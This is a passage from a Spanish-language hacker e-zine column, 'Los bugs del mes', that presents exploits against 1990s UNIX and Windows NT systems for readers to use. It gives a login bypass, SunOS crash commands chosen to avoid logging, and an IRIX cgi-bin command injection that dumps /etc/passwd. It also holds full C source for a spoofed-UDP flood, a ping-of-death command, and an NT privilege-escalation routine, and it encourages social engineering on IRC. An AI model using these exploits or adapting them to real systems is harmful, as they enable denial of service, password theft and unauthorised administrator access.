IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII o 14. LOS BUGS DEL MES o IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII Para: Passwd+ o NPasswd bajo UNIX(r) System V Release 4.0 Tena: Login Patch: Fijado en nuevas versiones Credits: El Hombre de Negro Existe un bug en Passwd+ o Npasswd que permite el acceso sin clave cuando la validez de la anterior ha expirado. Si el programa detecta que el usuario que quiere entrar (sabe quien es despues de poner el login) tiene el mismo password demasiado tiempo, le pide inmediatamente que lo cambie ­­­SIN PEDIR EL PASSWORD ANTIGUO!!!, saldria esto: UNIX(r) System V Release 4.0 (good religious site) login: priest Sorry Passwd has expired Change: Descripcion y Notas: Es comun que algunos administradores de sistemas UNIX, obliguen a los usuarios a cambiar cada cierto tiempo de password, para esto algunos utilizan los programas Passwd+ o NPasswd, el bug en estos programas es para que los programadores fueran encarcelados. Asi que ya sabes, encontrarse esto por casualidad es muy improbable, por lo que tendras que apa€artelas haciendo Ingenieria Social en el IRC, sacar la informacion suficiente no es nada dificil. Para: SunOs 4.1.x Tema: Crash Patch: Manual cp -p /vmunix /dev/audioctl rcp /etc/motd you@some.host:/dev/audio Descripcion y Notas: La primera instruccion cuelga el ordenador y hace necesario un reset, la segunda hace lo mismo pero sin dejar "esa molesta huella" en el log del sistema. Esta segunda instruccion funciona con cualquier fichero, de hecho si escojes un fichero .au ­tocara el sonido y despues colgara el ordenador! Para: IRIX 6.2 Tema: Ejecutar comandos de manera remota Patch: Manual telnet target.host.com 80 GET /cgi-bin/handler/taluego_Lucas;cat /etc/passwd|?data=Download HTTP/1.0 Descripcion y Notas: El cgi-bin/handler en los sistemas IRIX permite la lectura y escritura de ficheros sin embargo existe un bug que da paso a la ejecucion remota de comandos. El sistema intentara abrir el fichero (taluego_Lucas) y si no existe dara un mensaje de error para a continuacion ­ejecutar el comando que sigue!. Muy importante, el espacio entre el comando cat y su argumento es un *tabulador* (TAB), no se admiten espacios asi que aunque podeis poner otro comando que no sea cat no podreis poner ningun comando que requiera espacios. En IRIX 6.3 se intento arreglar esto pero lo unico que se consiguio fue que el formato del bug pase a ser: telnet target.host.com 80 GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download HTTP/1.0 Con un nuevo TAB para "enga€ar" al script PERL. Para: Inetd - Redes Tema: The network "food fight" Patch: Manual */ #include #include #include #include #include #include #include #include #include struct sockaddr addrfrom; struct sockaddr addrto; int s; u_char outpack[65536]; struct iphdr *ip; struct udphdr *udp; main(int argc, char **argv) { struct sockaddr_in *from; struct sockaddr_in *to; struct protoent *proto; int i; char *src,*dest; int srcp, destp; int packetsize,datasize; fprintf(stderr,"Pingpong Demo. Cortesia de Saqueadores\n"); fprintf(stderr,"<<< 'EL MAL USO DE ESTE PROGRAMA ES PELIGROSO >>>\n\n"); if (argc!=5) { fprintf(stderr,"mal arg.\nUso: src_addr src_port dst_addr dst_port\n"); fprintf(stderr,"src_addr y dst_addr en forma IP (xxx.xxx.xxx.xxx)\n"); fprintf(stderr,"A menudo funciona con 127.0.0.1 como src_addr !\n"); exit(2); } src=argv[1]; srcp=atoi(argv[2]); dest=argv[3]; destp=atoi(argv[4]); if (!(proto = getprotobyname("raw"))) { perror("getprotobyname(raw)"); exit(2); } /* "raw" debe ser 255 */ if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0) { perror("socket"); exit(2); } memset(&addrfrom, 0, sizeof(struct sockaddr)); from = (struct sockaddr_in *)&addrfrom; from->sin_family = AF_INET; from->sin_port=htons(srcp); if (!inet_aton(src, &from->sin_addr)) { fprintf(stderr,"Direccion incorrecta para 'from': %s\n",src); exit(2); } memset(&addrto, 0, sizeof(struct sockaddr)); to = (struct sockaddr_in *)&addrto; to->sin_family = AF_INET; to->sin_port=htons(destp); if (!inet_aton(dest, &to->sin_addr)) { fprintf(stderr,"Direccion incorrecta para 'to': %s\n",dest); exit(2); } packetsize=0; /* Construyendo el paquete UDP */ ip=(struct iphdr *)outpack; ip->version=4; /* IPv4 */ ip->ihl=5; /* Cabecera IP de 5 palabras */ ip->tos=0; ip->id=0; ip->frag_off=0; ip->ttl=0x40; if (!(proto = getprotobyname("udp"))) { perror("getprotobyname(udp)"); exit(2); } /* "udp" debe ser 17 */ ip->protocol=proto->p_proto; /* udp */ ip->check=0; /* sera automaticamente corrompida por el kernel */ ip->saddr=from->sin_addr.s_addr; ip->daddr=to->sin_addr.s_addr; /* end of ip header */ packetsize+=ip->ihl<<2; /* udp header */ udp=(struct udphdr *)((int)outpack + (int)(ip->ihl<<2)); udp->source=htons(srcp); udp->dest=htons(destp); udp->check=0; /* ignora checksum */ packetsize+=sizeof(struct udphdr); /* Final de la cabecera udp */ /* A€ade datos udp aqui si quieres */ for (datasize=0;datasize<8;datasize++) { outpack[packetsize+datasize]='A'+datasize; } packetsize+=datasize; udp->len=htons(sizeof(struct udphdr)+datasize); ip->tot_len=htons(packetsize); if (sendto(s, (char *)outpack, packetsize, 0, &addrto, sizeof(struct sockaddr))==-1) { perror("sendto"); exit(2); } printf("Paquete largado!\n"); close(s); printf("Fin\n"); exit(0); } Descripcion y Notas: Pues vamos a ver lo que hemos hecho!. Un tema recurrente en las redes es el de la "vampirizacion" de recursos, el programa de arriba va a enviar un paquete que a su vez va a generar una respuesta que a su vez va a generar un paquete que a su vez...En poco tiempo el ancho de banda puede desaparecer y el procesador dedicar todo su tiempo a tareas inutiles debido al "pingpong" que genera el programa. Como inetd no verifica el origen de los puertos como "chargen", "time", "echo"..etc el truco consiste en hacer aparecer el origen del paquete en uno de esos puertos y dirigido a uno de esos puertos. El funcionamiento del programa es simple, especificad la direccion y puerto escogidos tanto de origen como de destino y contemplad el resultado, puede ir desde el cuelgue al practico monopolio de la CPU. Existen muchos otros aproximamientos a este tema probad por ejemplo a enviar un paquete UDP al puerto "chargen" de un sistema haciendo un spoof del origen como si fuese el puerto "echo" en la direccion BROADCAST de esa intranet. Quiza este parrafo me ha quedado un poco liado :-? pero es mas sencillo de lo que parece. Destino: Puerto "chargen" machine.com Origen (falso): Puerto "echo" IP xxx.xxx.xxx.xxx (la que corresponda al BROADCAST de esa intranet) Como ya hemos dicho el 'spoof' en este caso es relativamente trivial puesto que inetd no comprueba el origen cuando se trata de servicios UDP sencillos. El resultado es similar o peor al del programa listado. Para: Solaris (todas las versiones?) Tema: Ping of Death Patch: Server de Sun, proximas versiones lo incluiran en el kernel. ping -sv -i 127.0.0.1 224.0.0.1 Descripcion y Notas: Causa el cuelgue de la maquina, las razones son algo complejas pero el resultado de lo mas sencillo. Reboot needed :->. Y eso es todo.. ah, no!. Se me olvidaba el de NT Para: Windows NT 4.0 con Service Pack 3 Tema: 'Root Shell' Patch: En preparacion Credits: Constin Raiu Function ChangeNtGlobalFlag : BOOL ChangeNtGlobalFlag(DWORD pNtGlobalFlag) { DWORD callnumber = 0x3; //NtAddAtom DWORD stack[32] ; int i; DWORD handle=0; CHAR string[255]; if(!pNtGlobalFlag) return 0; stack[0] = (DWORD)string; stack[1] = (DWORD)&handle; //pNtGlobalFlag; for(i=0;i ? 0x100;i++) { sprintf(string,"NT now cracking... pass %d",i); if(handle & 0xf00){ stack[1] = (DWORD)pNtGlobalFlag+1; } __asm{ mov eax, callnumber; mov edx, stack; lea edx,dword ptr [stack]; int 0x2e; } if( stack[1] == pNtGlobalFlag+1) break; } return TRUE; } Descripcion y Notas: El programa de arriba permite que cualquier usuario de un sistema NT (4.0+SP 3) adquiera _privilegios de administrador_ en la red. Uso: GetAdmin , si no se especifica el nombre de cuenta, se usara la cuenta actual. NOTA: La cuenta de guest *no sirve* para estos propositos. Eso es todo, si teneis algun bug que valga la pena y quereis compartirlo en la seccion de Colaboraciones y Peticiones viene a quien teneis que escribir.